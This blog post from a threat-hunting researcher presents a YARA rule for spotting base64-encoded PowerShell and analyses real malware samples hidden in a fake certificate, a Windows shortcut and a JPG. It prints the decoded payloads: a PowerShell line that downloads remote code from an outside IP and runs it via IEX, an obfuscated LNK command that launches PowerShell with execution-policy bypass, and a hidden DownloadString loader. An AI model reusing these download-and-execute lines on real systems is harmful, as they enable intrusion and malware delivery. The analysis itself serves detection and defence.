Skip to main content

Base64 Encoded Powershell Pivots

Posted on 2019-07-19 by Pedram Amini

In this short post, we share a YARA rule that threat hunters will find valuable for identifying potentially malicious Powershell pivots. Specifically, we'll be looking for base64 encoded Powershell directives. Additionally, some interesting real-world samples will be shared with the reader. Including an SSL certificate, Microsoft Windows shortcut (LNK) file, and a JPG image. Base64 encoding is among the most popular encoding mechanisms used by malware today. Decoders are available ubiquitously or are easily custom-developed when not available. Utilizing a tool that we'll be releasing at Blackhat US 2019, we generated a YARA rule that will identify the usage of common Powershell directives (such as Copy-Item, New-Object, Write-Host, etc.) regardless of their padded offset within the encoded blob. The rule is available from our yara-rules Github repository, here's a direct link:

Base64_Encoded_Powershell_Directives

We've had this rule running as a Virus Total Intelligence hunt rule for some time now and are rather pleased with the findings… low false positives, low multi-av detection rates. Your mileage may vary in production. For tuning, we recommend playing with filesize limitations and/or increasing the required number of encoded directive hits. Let's take a look at an interesting sample that may be part of pentest, malware campaign, or perhaps a research project:

SHA256: 769ba6ae91bbe410f03a5461e103bd8eecfda95ac86acdac4ac88d08df0b29bd (sample) (VT)

There were no AV detections as of initial upload on 2019-06-27. Requesting a rescan on 2019-07-15, there are still no detections:

Masked as a certificate file, we can decode the content with via Didier Stevens base64dump.py to unveil the Powershell pivot.

$ cat 769ba6ae91bbe410f03a5461e103bd8eecfda95ac86acdac4ac88d08df0b29bd
-----BEGIN CERTIFICATE-----
U2V0LUl0ZW0gVmFyaWFibGU6L0UzICdodHRwOi8vMjMuOTkuMjIwLjEzMC91cGRh
dGUudHh0JztkaXIgcmlkKjtTSSBWYXJpYWJsZTovayAoY2VydHV0aWwgL3Bpbmcg
KEdldC1WYXJpYWJsZSBFMykuVmFsdWUpOyYoQWxpYXMgSSpYKSgoKEdldC1DaGls
ZEl0ZW0gVmFyaWFibGU6XGspLlZhbHVlWzIuLigoKEdldC1DaGlsZEl0ZW0gVmFy
aWFibGU6XGspLlZhbHVlKS5MZW5ndGgtMildLUpvaW4iYHJgbiIpKQ==
-----END CERTIFICATE-----

$ cat 769ba6ae91bbe410f03a5461e103bd8eecfda95ac86acdac4ac88d08df0b29bd | base64dump.py -sa -d
DS R1Set-Item Variable:/E3 'http://23.99.220.130/update.txt';dir rid*;SI Variable:/k (certutil /ping (Get-Variable E3).Value);&(Alias I*X)(((Get-ChildItem Variable:\k).Value[2..(((Get-ChildItem Variable:\k).Value).Length-2)]-Join"`r`n"))DS R1

While we're not sure what the previous step in the infection chain looks like, we can see what the next steps are. Interestingly, an additional payload is downloaded and the Microsoft Windows certutil.exe binary is leveraged. The pivot address of 23.99.220[.]130 is a Microsoft Azure address and at the time of capture resolved to bankcherokee[.]net. That domain name was registered on 2019-06-18 through Porkbun. Potentially, this domain was registered as part of a campaign/pentest against Bank Cherokee, a small bank located in Minnesota. The host wasn't responding to pings, and a nmap scan showed only port 22 was open:

$ nmap -sS -F -O 23.99.220.130 -P0
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-28 14:54 EDT
Nmap scan report for 23.99.220.130
Host is up (0.11s latency).
Not shown: 91 filtered ports
PORT     STATE  SERVICE
21/tcp   closed ftp
22/tcp   open   ssh
53/tcp   closed domain
80/tcp   closed http
389/tcp  closed ldap
443/tcp  closed https
445/tcp  closed microsoft-ds
3128/tcp closed squid-http
8443/tcp closed https-alt

However, a previous Censys.io query showed ports 80 (HTTP) and 443 (HTTPS) were previously active. The host appears to be Debian:

$ nc 23.99.220.130 22
SSH-2.0-OpenSSH_7.9p1 Debian-10

Checking VT knowledge for the ip-address we find the existence of two additional files that were previously accessible behind the IP address in question:

Further down the rabbit hole, you may find additional payloads masked as certificate files. For example 88c87418 (truncated hash), which has 3 AV detections and an embedded PE executable. Seasoned signature developers will immediately recognize the base64 encoded "TVqQ" MZ magic here:

-----BEGIN CERTIFICATE-----
TVqQAAMAAAAEAAAA//8AALgAAAAA

Once again, we'll use base64dump.py to extract the embedded payload.

$ base64dump.py 88c8741862c53a36e2e42700a480cc3068dda2f5fd0400190fe93d999d4022aa
ID  Size    Encoded          Decoded          MD5 decoded
--  ----    -------          -------          -----------
 1:      12 CERTIFICATE=     .DS R..1         f9dea1878cbeefdd64225fc71f69a2a8
 2: 3056988 TVqQAAMAAAAEAAAA MZ�.........��.. 5534bd71c0b69bb084b7b7d59c891b7a
 3:       4 END=             .�               b5ed6c3acbeada6baa9e17ae99f8101a
 4:      12 CERTIFICATE=     .DS R..1         f9dea1878cbeefdd64225fc71f69a2a8

$ base64dump.py 88c8741862c53a36e2e42700a480cc3068dda2f5fd0400190fe93d999d4022aa -s2 -d > 88c8741862c53a36e2e42700a480cc3068dda2f5fd0400190fe93d999d4022aa.exe

$ sha256sum 88c8741862c53a36e2e42700a480cc3068dda2f5fd0400190fe93d999d4022aa.exe
1469f130e7efe434ea96aaa34c31c1cfe9567522ad2698779fd1d6fa98947483  88c8741862c53a36e2e42700a480cc3068dda2f5fd0400190fe93d999d4022aa.exe

This executable payload is well detected by AV. We've collated some other samples that our YARA rule will fire on and shared them in our malware-samples Github repository. Two particularly interesting samples we'll draw the readers attention to include the following Microsoft Windows Shortcut (LNK) file:

Base64_Encoded_Powershell_Directives e5a940f242ab764c83f0b98bb17c1804a3d7d57583457e1d8aaa64032dc49caa
0x3a3e:$enc09: IE5ldy1PYmplY3Q
0xb18e:$enc15: KFRlc3QtUGF0aC

This sample was detected via encoded New-Object and Test-Path directives. This sample embeds a pair of base64 encoded (double encoded, two layers deep) PE DLLs and a dummy Microsoft Office document:

$ base64dump.py e5a940f242ab764c83f0b98bb17c1804a3d7d57583457e1d8aaa64032dc49caa -n 50 -s1 -d | base64dump.py -n500 -s1 -d > 1.dll
$ base64dump.py e5a940f242ab764c83f0b98bb17c1804a3d7d57583457e1d8aaa64032dc49caa -n 50 -s1 -d | base64dump.py -n500 -s2 -d > 2.docx
$ base64dump.py e5a940f242ab764c83f0b98bb17c1804a3d7d57583457e1d8aaa64032dc49caa -n 50 -s1 -d | base64dump.py -n500 -s3 -d > 3.dll

The DLL files have no detection on VT, further analysis is left as an exercise for another day:

There's plenty of Powershell to continue analyzing in this sample, including logic that utilizes scheduled tasks to provide reboot persistence. Furthermore, the initially captured LNK file leverages heavily obfuscated command-line arguments:

$ exiftool e5a940f242ab764c83f0b98bb17c1804a3d7d57583457e1d8aaa64032dc49caa | grep -i "command line"
Command Line Arguments          : /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\malware.docx.lnk">%temp%\%windir:~-1,1%.ps1|p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%%windir:~-1,1% -file %temp%\%windir:~-1,1%.ps1&for /f "delims==" %i in ('dir "%temp%\malware.docx.lnk" /s /b') do f%windir:~4,1%ndstr /b /i "iex" "%i">%temp%\%windir:~-1,1%.ps1&p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%s -file %temp%\%windir:~-1,1%.ps1!%SystemRoot%\system32\SHELL32.dll

The final interesting sample we'll draw the readers attention to is the following captured JPG image:

Detected via an encoded New-Object directive:

Base64_Encoded_Powershell_Directives 4148ec78d1c283d55e90fd515f200148dba0eba5d4a51e1b49d46ee0072d587b
0x29a82:$enc09: KE5ldy1PYmplY3Q

We can isolate and decode the Powershell string:

$ strings 4148ec78d1c283d55e90fd515f200148dba0eba5d4a51e1b49d46ee0072d587b | grep KE5ldy1PYmplY3Q
powershell -exec bypass -WindowStyle Hidden IEX(IEX("[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('KE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xOTIuMTY4LjEwNi4xMzM6ODA4MC9nZXRfcGF5bG9hZCIp'))"))

$ base64dump.py 4148ec78d1c283d55e90fd515f200148dba0eba5d4a51e1b49d46ee0072d587b  -n50 -s1 -d
(New-Object Net.WebClient).DownloadString("http://192.168.106.133:8080/get_payload")

The RFC 1918 address is indicative that this particular sample is not part of an active campaign, but is nonetheless an interesting case study for demonstrating the value of our YARA rule. For a collection of other samples, head over to our Github repository.

powershell threat-hunting yara